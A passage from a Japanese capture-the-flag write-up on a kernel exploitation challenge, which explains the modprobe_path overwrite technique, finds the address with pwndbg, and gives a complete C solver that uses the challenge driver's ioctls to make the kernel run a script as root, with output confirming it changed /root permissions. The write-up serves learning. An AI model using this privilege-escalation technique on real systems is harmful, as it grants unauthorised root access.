kptiは以下のようなコマンドで確認できます。

#cat /sys/devices/system/cpu/vulnerabilities/meltdown
Mitigation: PTI

これは回避することができるらしいので、後日検証したいと思います。
成功したら何か書くと思います。

次に2.のアプローチですが…私がmodprobe_pathのアドレスを誤記したことで失敗しました…
(言い訳すると協議終了が30分後にせまっていて焦っていた)
アプローチ自体はあっていたようです。kernel問の経験不足、知識不足が露呈した形になりました。

ということで、以下には2のアプローチを記載します。

pwnyable cafeによると、
modprobe_pathは__request_module関数から呼び出されるコマンド文字列で登録されていない形式の実行ファイルをコールする際に__request_module関数が利用されるとのことです。

modprobe_pathに何が設定されているかは以下のコマンドで確認できます。

~ # cat /proc/sys/kernel/modprobe
/sbin/modprobe

デフォルトでは/sbin/modprobeが設定されていますがこれを適当なpathで上書きし、登録されていない形式の実行ファイルを実行させると上書きしたpathに存在するファイルが特権で実行されます。

上記のアプローチのためにmodprobe_pathのアドレスを探していきます。

pwndbgのsearchコマンドを試すと以下のような結果が得られます。

pwndbg> search "/sbin/modprobe"
Searching for value: '/sbin/modprobe'
<pt>            0xffff888001e3a080 '/sbin/modprobe'
<pt>            0xffffffff81e3a080 '/sbin/modprobe'

理由はわかりませんが、どちらのアドレスを設定してもうまくいきました。
どちらか片方を上書きすると、もう一方も書き換わるようです。

pwndbg> x/s 0xffff888001e3a080
0xffff888001e3a080:     "/tmp/evil.sh"
pwndbg> x/s 0xffffffff81e3a080
0xffffffff81e3a080:     "/tmp/evil.sh"

何はともあれmodprobe_pathのアドレスがわかったのでソルバーを書いていきます。

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>


#define CTF4B_IOCTL_STORE 0xC7F4B00
#define CTF4B_IOCTL_LOAD  0xC7F4B01
#define modprobe_path_addr 0xffffffff81e3a080 

int main(int argc, char *argv[])
{
    int fd; 
    int cmd; 
    

    fd = open("/dev/ctf4b", O_RDWR);
    if (fd == -1) {
        perror("open");
        exit(1);
    }

    char evilpath[] = "/tmp/evil.sh";

    if (ioctl(fd, CTF4B_IOCTL_STORE, evilpath) == -1) {
        perror("ioctl");
        exit(1);
    }

    if (ioctl(fd, CTF4B_IOCTL_LOAD, modprobe_path_addr) == -1) {
        perror("ioctl");
        exit(1);
    }
    
    system("echo -e '#!/bin/sh\nchmod -R 777 /root' > /tmp/evil.sh");
    system("chmod +x /tmp/evil.sh");
    system("echo -e '\xde\xad\xbe\xef' > /tmp/pwn");
    system("chmod +x /tmp/pwn");
    system("/tmp/pwn");

    close(fd);
    return 0;
}

これをrelease環境で実行すると、modprobe_pathが上書きされ、/rootディレクトリの権限が変更されたことを確認できます。

~ $ cat /proc/sys/kernel/modprobe
/tmp/evil.sh

~ $ ls -la
--snip--
drwxrwxrwx    2 root     1000            80 Jun  5 12:07 root
--snip--

感想

初めてのkernel問で戸惑いもありましたが非常に勉強になりました。
今後kernel問が出題された際に解けるよう精進したいと思います。

最後に。
色々助けてくれたリーダー(kashさん)ありがとう...馬鹿みたいなミスで解けなくてごめんなさい…

Discussion